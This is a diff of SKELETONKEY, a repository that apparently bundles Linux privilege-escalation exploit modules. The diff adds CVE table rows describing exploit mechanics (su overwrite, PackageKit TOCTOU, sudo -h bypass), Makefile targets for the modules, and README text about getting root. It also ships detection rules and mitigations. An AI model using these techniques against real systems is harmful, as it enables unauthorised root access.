| CVE-2023-0179 | nft_payload set-id memory corruption | LPE (regs->data[] OOB R/W) | mainline 6.2-rc4 / 6.1.6 (Jan 2023) | `nft_payload` | 🟡 | Davide Ornaghi. NFTA_SET_DESC variable-length element + NFTA_SET_ELEM_EXPRESSIONS payload-set whose verdict.code drives the OOB. Dual cg-96 + 1k spray. Branch backports: 4.14.302 / 4.19.269 / 5.4.229 / 5.10.163 / 5.15.88 / 6.1.6. |
|
||||
| CVE-TBD | Fragnesia (ESP shared-frag in-place encrypt) | LPE (page-cache write) | mainline TBD | `_stubs/fragnesia_TBD` | ⚪ | Stub. Per `findings/audit_leak_write_modprobe_backups_2026-05-16.md`, requires CAP_NET_ADMIN in userns netns — may or may not be in-scope depending on target environment. |
|
||||
| CVE-2021-3156 | sudo Baron Samedit — `sudoedit -s` heap overflow | LPE (userspace setuid sudo) | sudo 1.9.5p2 (Jan 2021) | `sudo_samedit` | 🟡 | Qualys Baron Samedit. Heap overflow via `sudoedit -s '\'` escaped-backslash parsing. Affects sudo 1.8.2 ≤ V ≤ 1.9.5p1. Heap-tuned exploit — may crash sudo on a mismatched layout. Ships auditd + sigma rules. |
|
||||
| CVE-2021-33909 | Sequoia — `seq_file` size_t overflow → kernel stack OOB | LPE (kernel stack OOB write) | mainline 5.13.4 / 5.10.52 / 5.4.134 (Jul 2021) | `sequoia` | 🟡 | Qualys Sequoia. `size_t`-to-`int` conversion in `seq_file` drives an OOB write off the kernel stack via a deeply-nested directory mount. Primitive-only — fires the overflow + records a witness; no portable cred chain. Branch backports: 5.13.4 / 5.10.52 / 5.4.134. Ships auditd rule. |
|
||||
| CVE-2023-22809 | sudoedit `EDITOR`/`VISUAL` `--` argv escape | LPE (userspace setuid sudoedit) | sudo 1.9.12p2 (Jan 2023) | `sudoedit_editor` | 🟢 | Structural argv-injection — an extra `--` in `EDITOR`/`VISUAL` makes setuid `sudoedit` open an attacker-chosen file as root. No kernel state, no offsets, no race. Affects sudo 1.8.0 ≤ V < 1.9.12p2. Ships auditd + sigma rules. |
|
||||
| CVE-2023-2008 | vmwgfx DRM buffer-object size-validation OOB | LPE (kernel R/W via kmalloc-512 OOB) | mainline 6.3-rc6 (Apr 2023) | `vmwgfx` | 🟡 | vmwgfx DRM `bo` size-validation gap → OOB write in kmalloc-512. Affects 4.0 ≤ K < 6.3-rc6 on hosts with the `vmwgfx` module loaded (VMware guests). Primitive-only — fires the OOB + slab witness; no cred chain. Branch backports: 6.2.10 / 6.1.23. Ships auditd rule. |
|
||||
| CVE-2026-31635 | DirtyDecrypt / DirtyCBC — rxgk missing-COW in-place decrypt | LPE (page-cache write into a setuid binary) | mainline Linux 7.0 (commit `a2567217ade970ecc458144b6be469bc015b23e5`) | `dirtydecrypt` | 🟡 | **Ported from the public V12 PoC, exploit body not yet VM-verified.** Sibling of Copy Fail / Dirty Frag in the rxgk (AFS rxrpc encryption) subsystem. `fire()` sliding-window page-cache write, ~256 fires/byte; rewrites the first 120 bytes of `/usr/bin/su` with a setuid-shell ELF. detect() is version-pinned: kernels < 7.0 predate the vulnerable rxgk code (Debian: `<not-affected, vulnerable code not present>` for 5.10/6.1/6.12); kernels ≥ 7.0 have the fix. `--active` probe fires the primitive at a `/tmp` sentinel for empirical override. x86_64. |
|
||||
| CVE-2026-46300 | Fragnesia — XFRM ESP-in-TCP `skb_try_coalesce` SHARED_FRAG loss | LPE (page-cache write into a setuid binary) | mainline 7.0.9; older Debian-stable branches still unfixed as of 2026-05-22 | `fragnesia` | 🟡 | **Ported from the public V12 PoC, exploit body not yet VM-verified.** Latent bug exposed by the Dirty Frag fix (`f4c50a4034e6`). AF_ALG GCM keystream table + userns/netns + XFRM ESP-in-TCP splice trigger pair; rewrites the first 192 bytes of `/usr/bin/su`. Needs `CONFIG_INET_ESPINTCP` + unprivileged userns (the in-scope question the old `_stubs/fragnesia_TBD` raised — resolved: ships, reports PRECOND_FAIL when the userns gate is closed). detect() is version-pinned at 7.0.9; older branches that haven't backported yet are flagged VULNERABLE on the version check (override empirically via `--active`). PoC's ANSI TUI dropped in the port. x86_64. |
|
||||
| CVE-2026-41651 | Pack2TheRoot — PackageKit `InstallFiles` TOCTOU | LPE (userspace D-Bus daemon → `.deb` postinst as root) | PackageKit 1.3.5 (commit `76cfb675`, 2026-04-22) | `pack2theroot` | 🟡 | **Ported from the public Vozec PoC, not yet VM-verified.** Two back-to-back `InstallFiles` D-Bus calls — first `SIMULATE` (polkit bypass + queues a GLib idle), then immediately `NONE` + malicious `.deb` (overwrites the cached flags before the idle fires). GLib priority ordering makes the overwrite deterministic, not a race. Disclosure by **Deutsche Telekom security**. Affects PackageKit 1.0.2 → 1.3.4 — default-enabled on Ubuntu Desktop, Debian, Fedora, Rocky/RHEL via Cockpit. `detect()` reads `VersionMajor/Minor/Micro` over D-Bus → high-confidence verdict (vs. precondition-only for dirtydecrypt/fragnesia). Debian-family only (PoC's built-in `.deb` builder). Needs `libglib2.0-dev` at build time; Makefile autodetects via `pkg-config gio-2.0` and falls through to a stub when absent. |
|
||||
| CVE-2026-46333 | ptrace `__ptrace_may_access` dumpable-race → `pidfd_getfd` credential-fd theft | LPE (steal a root-opened fd / authenticated channel from a process dropping privileges) | mainline 2026-05-14 (Debian backports 5.10.251 / 6.1.172 / 6.12.88 / 7.0.7) | `ptrace_pidfd` | 🟡 | **Qualys TRU disclosure (2026-05-20), exploit not yet VM-verified.** The `__ptrace_may_access` logic flaw leaves a process *dropping* privileges briefly reachable past its `dumpable` boundary; `pidfd_getfd(2)` rides that window. detect() is version-pinned with a predates-gate at `pidfd_getfd`'s 5.6 introduction. exploit() spawns a setuid victim (chage / pkexec / ssh-keysign), `pidfd_open()`s it and sweeps `pidfd_getfd()` across its descriptor table during the credential-drop window, reporting any uid-0-owned fd captured from a non-root context — honest `EXPLOIT_FAIL` without a euid-0 witness; the target-specific full root-pop is not bundled until VM-verified. Arch-agnostic (descriptor theft, no shellcode). `--mitigate` sets `kernel.yama.ptrace_scope=2`; `--cleanup` reverts it. Credit: Qualys TRU. |
|
||||
| CVE-2025-32462 | sudo `-h`/`--host` policy bypass (Stratascale) | LPE (userspace; abuse a host-restricted sudoers rule for local root) | sudo 1.9.17p1 (2025-06-30) | `sudo_host` | 🟢 | **Stratascale CRU disclosure (Rich Mirch); sibling of `sudo_chwoot`.** sudo's `-h`/`--host` option — meant only to pair with `-l` — was honored when running a command, so a sudoers rule scoped to a host other than the current machine (and not ALL) is usable via `sudo -h <host> <cmd>`. Affects sudo 1.8.8 → 1.9.17p0; fixed 1.9.17p1. CWE-863, CVSS 8.8; not in KEV. detect() version-gates; exploit() finds an abusable host-restricted rule in readable sudoers (or `SKELETONKEY_SUDO_HOST`), witnesses with `sudo -n -h <host> id -u`, and pops a root shell only on a uid-0 witness — never fabricates root. Structural (no offsets/race); arch-agnostic. Most relevant to fleet-wide / LDAP / SSSD sudoers. Credit: Rich Mirch / Stratascale. |
|
||||
| CVE-2026-46243 | CIFSwitch — `cifs.spnego` key type trusts userspace-forged authority fields | LPE (coerce root `cifs.upcall` into loading an attacker NSS module) | fixed 5.10.257 / 6.1.174 / 6.12.90 / 7.0.10 (Debian backports of `3da1fdf4efbc`, mainline 7.1-rc5) | `cifswitch` | 🟡 | **Asim Manizada disclosure (2026-05-28), public PoC; detect() + add_key primitive VM-verified on Ubuntu 24.04 / 6.8.0-117 (QEMU/HVF, 2026-06-08), full chain + patched-kernel discriminator pending.** ~19-year-old logic flaw in `fs/smb/client/cifs_spnego.c`: the `cifs.spnego` key description carries authority-bearing fields (`pid`/`uid`/`creduid`/`upcall_target`) that root `cifs.upcall` trusts as kernel-originating, but userspace can create such keys via `add_key(2)`/`request_key(2)`. With user+mount namespace tricks, an unprivileged user makes `cifs.upcall` load a malicious NSS `.so` as root. CWE-20; not in KEV. Preconditions: `cifs` module + `cifs-utils` (`cifs.upcall`) + `cifs.spnego` request-key rule (override the probe via `SKELETONKEY_CIFS_ASSUME_PRESENT=1/0`). detect() version-gates and PRECOND_FAILs when the cifs userspace path is absent. exploit() fires only the non-destructive primitive — `add_key(2)` of a forged-but-benign `cifs.spnego` key (no upcall, loads nothing), revoked immediately — and returns honest `EXPLOIT_FAIL` without a euid-0 witness; the namespace+NSS root-pop is not bundled until VM-verified. Structural; arch-agnostic. `--mitigate` blocklists the `cifs` module; `--cleanup` reverts. Credit: Asim Manizada. |
|
||||
| CVE-2026-23111 | nf_tables `nft_map_catchall_activate` abort-path UAF (inverted `!`) | LPE (unprivileged userns + nftables → chain UAF → kernel R/W → root) | fixed 6.1.164 / 6.12.73 / 6.18.10 (Debian backports of `f41c5d1`); 5.10 branch still unfixed | `nft_catchall` | 🟡 | **Public reproduction + analysis by FuzzingLabs; reported via the kernel security process. Reconstructed trigger, not yet VM-verified.** A stray `!` in `nft_map_catchall_activate()` makes the transaction-abort path process *active* catch-all map elements instead of skipping them; a catch-all GOTO element drives a chain's use-count to zero so a following DELCHAIN frees it while still referenced → UAF, escalatable via modprobe_path/selinux_state ROP. CWE-416, CVSS 7.8; not in KEV. One more UAF in the corpus's most-covered subsystem; shipped on the same contract as `nf_tables` (CVE-2024-1086). detect() version-gates (catch-all elems arrived ~5.13) AND requires unprivileged user_ns clone (else PRECOND_FAIL). exploit() forks an isolated child that builds a verdict map with a catch-all GOTO element and provokes an aborting batch to drive the abort-path UAF, observes slabinfo, and returns `EXPLOIT_FAIL` — the per-kernel leak + R/W + ROP root-pop is NOT bundled and the trigger is reconstructed from public analysis, not VM-verified. x86_64. Mitigate: upgrade, or `kernel.unprivileged_userns_clone=0`. Credit: FuzzingLabs (public repro) + upstream fix `f41c5d1`. |
|
||||
| CVE-2026-43499 | GhostLock — rtmutex/futex requeue-PI `remove_waiter()` stack UAF | LPE (unprivileged, **no userns** → kernel-**stack** UAF → near-arbitrary write → root) | fixed 7.0.4 / 6.18.27 / 6.12.86 / 6.6.140 / 6.1.175 (CNA/Debian backports of `3bfdc63936dd`, mainline 7.1-rc1); 5.15/5.10/5.4/4.19 affected with no upstream fix | `ghostlock` | 🟡 | **VEGA / Nebula Security public PoC ("IonStack part II: GhostLock"); reconstructed trigger, not VM-verified.** ~15-year stack UAF in `kernel/locking/rtmutex.c`: on the `-EDEADLK` deadlock-rollback, `remove_waiter()` runs against `current` instead of the waiter task, so a concurrent PI-chain priority walk (driven via `sched_setattr()` on a sibling CPU) clears `pi_blocked_on` on the wrong task and leaves an on-stack `rt_mutex_waiter` dangling → controlled kernel write when the rbtree is later rotated over the reused frame; weaponised (Android/Pixel) via a KernelSnitch page leak → forged waiter → `struct file` `f_op` → configfs/ashmem R/W → pipe physical R/W → cred patch. Reachable by **any unprivileged user** (CVSS 7.8, PR:L) — plain `futex(2)` + `sched_setattr(2)`, no userns, no capability, only `CONFIG_FUTEX_PI` (universal). CWE-416 (race root cause CWE-362); not in KEV. The corpus's first rtmutex/futex-PI module and its only kernel-**stack** UAF (all others are heap/slab). detect() is a **pure version gate** across a five-branch backport table. exploit() forks a child that (A) deterministically confirms the `-EDEADLK` `remove_waiter()` rollback path is reachable (safe — validated on real hardware) and (B) exercises the actual race a hard-bounded 24 iterations / 2 s with a sibling-CPU `sched_setattr(SCHED_BATCH)` storm — **deliberately under-driven**: no `copy_from_user` widening, no stack-frame spray/reoccupation, and the KernelSnitch leak + R/W + cred-patch chain is NOT bundled (Android/Pixel-specific, per-build offsets). Returns `EXPLOIT_FAIL`. **Lowest `--auto` safety rank (11)** — a won race corrupts the kernel stack. Unlike most races it has a real detection signature (futex requeue-PI returning `EDEADLK` + sibling `sched_setattr(SCHED_BATCH)`); auditd/sigma anchor on `sched_setattr`, falco/eBPF on the requeue-PI-EDEADLK tell; no yara. Arch-neutral trigger (any). Mitigate: upgrade only. Credit: VEGA / Nebula Security. |
|
||||
| CVE-2026-46242 | Bad Epoll — epoll `ep_remove`/`__fput` teardown race UAF | LPE (unprivileged, **no userns** → cross-cache to `struct file` → kernel R/W → root) | introduced 6.4 (`58c9b016e128`); fixed `a6dc643c6931` (7.1-rc1), stable backport 7.0.13; 6.6/6.12 LTS backports pending; 6.1 and older not affected | `bad_epoll` | 🟡 | **Jaeyoung Chung (`J-jaeyoung`) kernelCTF public PoC; reconstructed trigger, not VM-verified.** Race UAF in `fs/eventpoll.c`: `ep_remove()` clears `file->f_ep` under `f_lock` but keeps using the file (`hlist_del_rcu` + unlock) while a concurrent `__fput()` frees the still-referenced `struct eventpoll` → 8-byte UAF write, weaponised via cross-cache to a `struct file`, `/proc/self/fdinfo` arbitrary read, ROP. Reachable by **any unprivileged user** — no userns, no CONFIG, no capability; there is **no unprivileged-userns stopgap**, only patching. CWE-416 (race root cause CWE-362); not in KEV. The corpus's first epoll / VFS-teardown module and cleanest SMP race. detect() is a **pure version gate** (no active probe — you cannot safely distinguish vulnerable from patched without winning the race). exploit() forks a CPU-pinned child that builds the epoll race pair and exercises the concurrent-close window a hard-bounded 48 attempts / 2s — **deliberately under-driven** because a won race frees a live struct file and rarely trips KASAN (silent-corruption risk) — snapshots the eventpoll slab, and returns `EXPLOIT_FAIL`; the cross-cache reclaim + fdinfo R/W + ROP are NOT bundled. Detection is intentionally weak/structural (epoll syscalls are ubiquitous) — rules key on the post-exploitation euid-0 transition; no yara. **Lowest `--auto` safety rank (12).** x86_64. Mitigate: upgrade only. Credit: Jaeyoung Chung. |
|
||||
|
||||
## Operations supported per module
|
||||
|
||||
@@ -91,6 +132,15 @@ Symbols: ✓ = supported, — = not applicable / no automated path.
|
||||
| af_unix_gc | ✓ | ✓ (race) | — (upgrade kernel) | ✓ (queue drain) | ✓ (auditd) |
|
||||
| nft_fwd_dup | ✓ | ✓ (primitive) | — (upgrade kernel) | ✓ (queue drain) | ✓ (auditd) |
|
||||
| nft_payload | ✓ | ✓ (primitive) | — (upgrade kernel) | ✓ (queue drain) | ✓ (auditd + sigma) |
|
||||
| sudo_samedit | ✓ | ✓ (primitive) | — (upgrade sudo) | ✓ (crumb nuke) | ✓ (auditd + sigma) |
|
||||
| sequoia | ✓ | ✓ (primitive) | — (upgrade kernel) | ✓ (nested-tree + mount teardown) | ✓ (auditd) |
|
||||
| sudoedit_editor | ✓ | ✓ | — (upgrade sudo) | ✓ (revert written file) | ✓ (auditd + sigma) |
|
||||
| vmwgfx | ✓ | ✓ (primitive) | — (upgrade kernel) | ✓ (log unlink) | ✓ (auditd) |
|
||||
| dirtydecrypt | ✓ (+ `--active`) | ✓ (ported) | — (upgrade kernel) | ✓ (evict page cache) | ✓ (auditd + sigma) |
|
||||
| fragnesia | ✓ (+ `--active`) | ✓ (ported) | — (upgrade kernel) | ✓ (evict page cache) | ✓ (auditd + sigma) |
|
||||
| pack2theroot | ✓ (PK version via D-Bus) | ✓ (ported) | — (upgrade PackageKit ≥ 1.3.5) | ✓ (rm /tmp + `dpkg -r`) | ✓ (auditd + sigma) |
|
||||
| ptrace_pidfd | ✓ | ✓ (primitive) | ✓ (yama ptrace_scope=2) | ✓ (restore ptrace_scope) | ✓ (auditd + sigma + falco) |
|
||||
| sudo_host | ✓ | ✓ | — (upgrade sudo to 1.9.17p1) | — | ✓ (auditd + sigma + falco) |
|
||||
|
||||
## Pipeline for additions
|
||||
|
||||
|
||||
@@ -20,9 +20,15 @@ BUILD := build
|
||||
BIN := skeletonkey
|
||||
|
||||
# core/
|
||||
CORE_SRCS := core/registry.c core/kernel_range.c core/offsets.c core/finisher.c
|
||||
CORE_SRCS := core/registry.c core/kernel_range.c core/offsets.c core/finisher.c \
|
||||
core/host.c core/cve_metadata.c core/verifications.c
|
||||
CORE_OBJS := $(patsubst %.c,$(BUILD)/%.o,$(CORE_SRCS))
|
||||
|
||||
# Register-every-module helper. Lives in its own translation unit so
|
||||
# the kernel_range unit-test binary can link just CORE_OBJS without
|
||||
# pulling in every module symbol via registry_all.o.
|
||||
REGISTRY_ALL_OBJ := $(BUILD)/core/registry_all.o
|
||||
|
||||
# Family: copy_fail_family
|
||||
# All DIRTYFAIL .c files contribute; skeletonkey_modules.c is the bridge.
|
||||
CFF_DIR := modules/copy_fail_family
|
||||
@@ -126,17 +132,182 @@ NPL_DIR := modules/nft_payload_cve_2023_0179
|
||||
NPL_SRCS := $(NPL_DIR)/skeletonkey_modules.c
|
||||
NPL_OBJS := $(patsubst %.c,$(BUILD)/%.o,$(NPL_SRCS))
|
||||
|
||||
SAM_DIR := modules/sudo_samedit_cve_2021_3156
|
||||
SAM_SRCS := $(SAM_DIR)/skeletonkey_modules.c
|
||||
SAM_OBJS := $(patsubst %.c,$(BUILD)/%.o,$(SAM_SRCS))
|
||||
|
||||
SEQ_DIR := modules/sequoia_cve_2021_33909
|
||||
SEQ_SRCS := $(SEQ_DIR)/skeletonkey_modules.c
|
||||
SEQ_OBJS := $(patsubst %.c,$(BUILD)/%.o,$(SEQ_SRCS))
|
||||
|
||||
SUE_DIR := modules/sudoedit_editor_cve_2023_22809
|
||||
SUE_SRCS := $(SUE_DIR)/skeletonkey_modules.c
|
||||
SUE_OBJS := $(patsubst %.c,$(BUILD)/%.o,$(SUE_SRCS))
|
||||
|
||||
VMW_DIR := modules/vmwgfx_cve_2023_2008
|
||||
VMW_SRCS := $(VMW_DIR)/skeletonkey_modules.c
|
||||
VMW_OBJS := $(patsubst %.c,$(BUILD)/%.o,$(VMW_SRCS))
|
||||
|
||||
# Family: dirtydecrypt (CVE-2026-31635) — rxgk page-cache write
|
||||
DDC_DIR := modules/dirtydecrypt_cve_2026_31635
|
||||
DDC_SRCS := $(DDC_DIR)/skeletonkey_modules.c
|
||||
DDC_OBJS := $(patsubst %.c,$(BUILD)/%.o,$(DDC_SRCS))
|
||||
|
||||
# Family: fragnesia (CVE-2026-46300) — XFRM ESP-in-TCP page-cache write
|
||||
FGN_DIR := modules/fragnesia_cve_2026_46300
|
||||
FGN_SRCS := $(FGN_DIR)/skeletonkey_modules.c
|
||||
FGN_OBJS := $(patsubst %.c,$(BUILD)/%.o,$(FGN_SRCS))
|
||||
|
||||
# Family: pack2theroot (CVE-2026-41651) — PackageKit TOCTOU userspace LPE.
|
||||
# Needs GLib/GIO for D-Bus; the build autodetects via `pkg-config gio-2.0`.
|
||||
# When absent (e.g. no libglib2.0-dev on the build host), the module
|
||||
# compiles as a stub that returns PRECOND_FAIL with a hint to install
|
||||
# the dev package and rebuild.
|
||||
P2TR_DIR := modules/pack2theroot_cve_2026_41651
|
||||
P2TR_SRCS := $(P2TR_DIR)/skeletonkey_modules.c
|
||||
P2TR_OBJS := $(patsubst %.c,$(BUILD)/%.o,$(P2TR_SRCS))
|
||||
|
||||
P2TR_GIO_OK := $(shell pkg-config --exists gio-2.0 2>/dev/null && echo 1 || echo 0)
|
||||
ifeq ($(P2TR_GIO_OK),1)
|
||||
P2TR_CFLAGS := $(shell pkg-config --cflags gio-2.0) -DPACK2TR_HAVE_GIO
|
||||
P2TR_LIBS := $(shell pkg-config --libs gio-2.0)
|
||||
else
|
||||
P2TR_CFLAGS :=
|
||||
P2TR_LIBS :=
|
||||
endif
|
||||
|
||||
# Per-object CFLAGS for the pack2theroot translation unit (GLib include
|
||||
# paths). Target-specific vars are scoped to this object's recipe.
|
||||
$(P2TR_OBJS): CFLAGS += $(P2TR_CFLAGS)
|
||||
|
||||
# Family: sudo_chwoot (CVE-2025-32463) — sudo --chroot NSS injection
|
||||
SCHW_DIR := modules/sudo_chwoot_cve_2025_32463
|
||||
SCHW_SRCS := $(SCHW_DIR)/skeletonkey_modules.c
|
||||
SCHW_OBJS := $(patsubst %.c,$(BUILD)/%.o,$(SCHW_SRCS))
|
||||
|
||||
# Family: udisks_libblockdev (CVE-2025-6019) — SUID-on-mount via polkit allow_active
|
||||
UDB_DIR := modules/udisks_libblockdev_cve_2025_6019
|
||||
UDB_SRCS := $(UDB_DIR)/skeletonkey_modules.c
|
||||
UDB_OBJS := $(patsubst %.c,$(BUILD)/%.o,$(UDB_SRCS))
|
||||
|
||||
# Family: pintheft (CVE-2026-43494) — RDS zerocopy double-free (V12 Security)
|
||||
PTH_DIR := modules/pintheft_cve_2026_43494
|
||||
PTH_SRCS := $(PTH_DIR)/skeletonkey_modules.c
|
||||
PTH_OBJS := $(patsubst %.c,$(BUILD)/%.o,$(PTH_SRCS))
|
||||
|
||||
# ── v0.9.0 gap-fillers ─────────────────────────────────────────────
|
||||
|
||||
# CVE-2018-14634 Mutagen Astronomy — create_elf_tables() int wrap
|
||||
MUT_DIR := modules/mutagen_astronomy_cve_2018_14634
|
||||
MUT_SRCS := $(MUT_DIR)/skeletonkey_modules.c
|
||||
MUT_OBJS := $(patsubst %.c,$(BUILD)/%.o,$(MUT_SRCS))
|
||||
|
||||
# CVE-2019-14287 sudo Runas -u#-1 underflow
|
||||
SRN_DIR := modules/sudo_runas_neg1_cve_2019_14287
|
||||
SRN_SRCS := $(SRN_DIR)/skeletonkey_modules.c
|
||||
SRN_OBJS := $(patsubst %.c,$(BUILD)/%.o,$(SRN_SRCS))
|
||||
|
||||
# CVE-2020-29661 TIOCSPGRP UAF race
|
||||
TIO_DIR := modules/tioscpgrp_cve_2020_29661
|
||||
TIO_SRCS := $(TIO_DIR)/skeletonkey_modules.c
|
||||
TIO_OBJS := $(patsubst %.c,$(BUILD)/%.o,$(TIO_SRCS))
|
||||
|
||||
# CVE-2024-50264 AF_VSOCK connect-race UAF (Pwn2Own 2024)
|
||||
VSK_DIR := modules/vsock_uaf_cve_2024_50264
|
||||
VSK_SRCS := $(VSK_DIR)/skeletonkey_modules.c
|
||||
VSK_OBJS := $(patsubst %.c,$(BUILD)/%.o,$(VSK_SRCS))
|
||||
|
||||
# CVE-2024-26581 nft_pipapo destroy-race (Notselwyn II)
|
||||
PIP_DIR := modules/nft_pipapo_cve_2024_26581
|
||||
PIP_SRCS := $(PIP_DIR)/skeletonkey_modules.c
|
||||
PIP_OBJS := $(patsubst %.c,$(BUILD)/%.o,$(PIP_SRCS))
|
||||
|
||||
# CVE-2026-46333 ptrace/pidfd_getfd __ptrace_may_access dumpable-race cred-steal (Qualys)
|
||||
PPF_DIR := modules/ptrace_pidfd_cve_2026_46333
|
||||
PPF_SRCS := $(PPF_DIR)/skeletonkey_modules.c
|
||||
PPF_OBJS := $(patsubst %.c,$(BUILD)/%.o,$(PPF_SRCS))
|
||||
|
||||
# CVE-2025-32462 sudo -h/--host policy bypass (Stratascale; sudo family)
|
||||
SUH_DIR := modules/sudo_host_cve_2025_32462
|
||||
SUH_SRCS := $(SUH_DIR)/skeletonkey_modules.c
|
||||
SUH_OBJS := $(patsubst %.c,$(BUILD)/%.o,$(SUH_SRCS))
|
||||
|
||||
# CVE-2026-46243 CIFSwitch — cifs.spnego userspace-forged key trust (Asim Manizada)
|
||||
CIW_DIR := modules/cifswitch_cve_2026_46243
|
||||
CIW_SRCS := $(CIW_DIR)/skeletonkey_modules.c
|
||||
CIW_OBJS := $(patsubst %.c,$(BUILD)/%.o,$(CIW_SRCS))
|
||||
|
||||
# CVE-2026-23111 nft_catchall — nf_tables nft_map_catchall_activate abort UAF (FuzzingLabs repro)
|
||||
NCA_DIR := modules/nft_catchall_cve_2026_23111
|
||||
NCA_SRCS := $(NCA_DIR)/skeletonkey_modules.c
|
||||
NCA_OBJS := $(patsubst %.c,$(BUILD)/%.o,$(NCA_SRCS))
|
||||
|
||||
# CVE-2026-46242 bad_epoll — epoll ep_remove-vs-__fput teardown race UAF ("Bad Epoll", J-jaeyoung kernelCTF)
|
||||
BEP_DIR := modules/bad_epoll_cve_2026_46242
|
||||
BEP_SRCS := $(BEP_DIR)/skeletonkey_modules.c
|
||||
BEP_OBJS := $(patsubst %.c,$(BUILD)/%.o,$(BEP_SRCS))
|
||||
|
||||
# CVE-2026-43499 ghostlock — rtmutex/futex requeue-PI remove_waiter() stack UAF ("GhostLock", VEGA / Nebula Security)
|
||||
GHL_DIR := modules/ghostlock_cve_2026_43499
|
||||
GHL_SRCS := $(GHL_DIR)/skeletonkey_modules.c
|
||||
GHL_OBJS := $(patsubst %.c,$(BUILD)/%.o,$(GHL_SRCS))
|
||||
|
||||
# Top-level dispatcher
|
||||
TOP_OBJ := $(BUILD)/skeletonkey.o
|
||||
|
||||
ALL_OBJS := $(TOP_OBJ) $(CORE_OBJS) $(CFF_OBJS) $(DP_OBJS) $(EB_OBJS) $(PK_OBJS) $(NFT_OBJS) $(OVL_OBJS) $(CR4_OBJS) $(DCOW_OBJS) $(PTM_OBJS) $(NXC_OBJS) $(AFP_OBJS) $(FUL_OBJS) $(STR_OBJS) $(AFP2_OBJS) $(CRA_OBJS) $(OSU_OBJS) $(NSU_OBJS) $(AUG_OBJS) $(NFD_OBJS) $(NPL_OBJS)
|
||||
# All module objects in one var so both the main binary and the test
|
||||
# binary can re-use the list without duplicating the long enumeration.
|
||||
MODULE_OBJS := $(CFF_OBJS) $(DP_OBJS) $(EB_OBJS) $(PK_OBJS) $(NFT_OBJS) \
|
||||
$(OVL_OBJS) $(CR4_OBJS) $(DCOW_OBJS) $(PTM_OBJS) $(NXC_OBJS) \
|
||||
$(AFP_OBJS) $(FUL_OBJS) $(STR_OBJS) $(AFP2_OBJS) $(CRA_OBJS) \
|
||||
$(OSU_OBJS) $(NSU_OBJS) $(AUG_OBJS) $(NFD_OBJS) $(NPL_OBJS) \
|
||||
$(SAM_OBJS) $(SEQ_OBJS) $(SUE_OBJS) $(VMW_OBJS) \
|
||||
$(DDC_OBJS) $(FGN_OBJS) $(P2TR_OBJS) \
|
||||
$(SCHW_OBJS) $(UDB_OBJS) $(PTH_OBJS) \
|
||||
$(MUT_OBJS) $(SRN_OBJS) $(TIO_OBJS) $(VSK_OBJS) $(PIP_OBJS) \
|
||||
$(PPF_OBJS) $(SUH_OBJS) $(CIW_OBJS) $(NCA_OBJS) $(BEP_OBJS) \
|
||||
$(GHL_OBJS)
|
||||
|
||||
.PHONY: all clean debug static help
|
||||
ALL_OBJS := $(TOP_OBJ) $(CORE_OBJS) $(REGISTRY_ALL_OBJ) $(MODULE_OBJS)
|
||||
|
||||
# Tests — `make test` builds and runs both unit-test binaries.
|
||||
#
|
||||
# skeletonkey-test — detect() integration tests against
|
||||
# synthetic host fingerprints. Links
|
||||
# the full module corpus.
|
||||
# skeletonkey-test-kr — pure unit tests for kernel_range +
|
||||
# host comparison helpers. Tiny binary
|
||||
# (core/ only); runs cross-platform.
|
||||
TEST_DIR := tests
|
||||
TEST_SRCS := $(TEST_DIR)/test_detect.c
|
||||
TEST_OBJS := $(patsubst %.c,$(BUILD)/%.o,$(TEST_SRCS))
|
||||
TEST_BIN := skeletonkey-test
|
||||
TEST_ALL_OBJS := $(TEST_OBJS) $(CORE_OBJS) $(REGISTRY_ALL_OBJ) $(MODULE_OBJS)
|
||||
|
||||
TEST_KR_SRCS := $(TEST_DIR)/test_kernel_range.c
|
||||
TEST_KR_OBJS := $(patsubst %.c,$(BUILD)/%.o,$(TEST_KR_SRCS))
|
||||
TEST_KR_BIN := skeletonkey-test-kr
|
||||
TEST_KR_ALL_OBJS := $(TEST_KR_OBJS) $(CORE_OBJS)
|
||||
|
||||
.PHONY: all clean debug static help test
|
||||
|
||||
all: $(BIN)
|
||||
|
||||
$(BIN): $(ALL_OBJS)
|
||||
$(CC) $(CFLAGS) $(LDFLAGS) -o $@ $^ -lpthread
|
||||
$(CC) $(CFLAGS) $(LDFLAGS) -o $@ $^ -lpthread $(P2TR_LIBS)
|
||||
|
||||
$(TEST_BIN): $(TEST_ALL_OBJS)
|
||||
$(CC) $(CFLAGS) $(LDFLAGS) -o $@ $^ -lpthread $(P2TR_LIBS)
|
||||
|
||||
$(TEST_KR_BIN): $(TEST_KR_ALL_OBJS)
|
||||
$(CC) $(CFLAGS) $(LDFLAGS) -o $@ $^
|
||||
|
||||
test: $(TEST_BIN) $(TEST_KR_BIN)
|
||||
@echo "[*] running kernel_range unit tests ($(TEST_KR_BIN))"
|
||||
./$(TEST_KR_BIN)
|
||||
@echo
|
||||
@echo "[*] running detect() integration tests ($(TEST_BIN))"
|
||||
./$(TEST_BIN)
|
||||
|
||||
# Generic compile: any .c → corresponding .o under build/
|
||||
$(BUILD)/%.o: %.c
|
||||
@@ -150,13 +321,14 @@ static: LDFLAGS += -static
|
||||
static: clean $(BIN)
|
||||
|
||||
clean:
|
||||
rm -rf $(BUILD) $(BIN)
|
||||
rm -rf $(BUILD) $(BIN) $(TEST_BIN) $(TEST_KR_BIN)
|
||||
|
||||
help:
|
||||
@echo "Targets:"
|
||||
@echo " make build optimized skeletonkey binary"
|
||||
@echo " make debug build with -O0 -g3"
|
||||
@echo " make static build a fully static binary"
|
||||
@echo " make test build + run the detect() unit test suite"
|
||||
@echo " make clean remove build artifacts"
|
||||
@echo ""
|
||||
@echo "Per-module (legacy) — not built by default:"
|
||||
|
||||
@@ -1,169 +1,310 @@
|
||||
# SKELETONKEY
|
||||
|
||||
> A curated, actively-maintained corpus of Linux kernel LPE exploits —
|
||||
> bundled with their detection signatures, patch status, and version
|
||||
> ranges. Run it on a system you own (or are authorized to test) and
|
||||
> it tells you which historical and recent CVEs that system is still
|
||||
> vulnerable to, and — with explicit confirmation — gets you root.
|
||||
[](https://github.com/KaraZajac/SKELETONKEY/releases/latest)
|
||||
[](LICENSE)
|
||||
[](docs/VERIFICATIONS.jsonl)
|
||||
[](#)
|
||||
|
||||
```
|
||||
╔══╤══╗
|
||||
║ ● ║═══════════════════════════════════════════════════--,
|
||||
╚═════╝ `--,_
|
||||
`_/
|
||||
> **One curated binary. 45 Linux LPE modules covering 40 CVEs from 2016 → 2026.
|
||||
> Every year 2016 → 2026 covered. 28 confirmed end-to-end against real Linux
|
||||
> VMs via `tools/verify-vm/`. Detection rules in the box. One command picks
|
||||
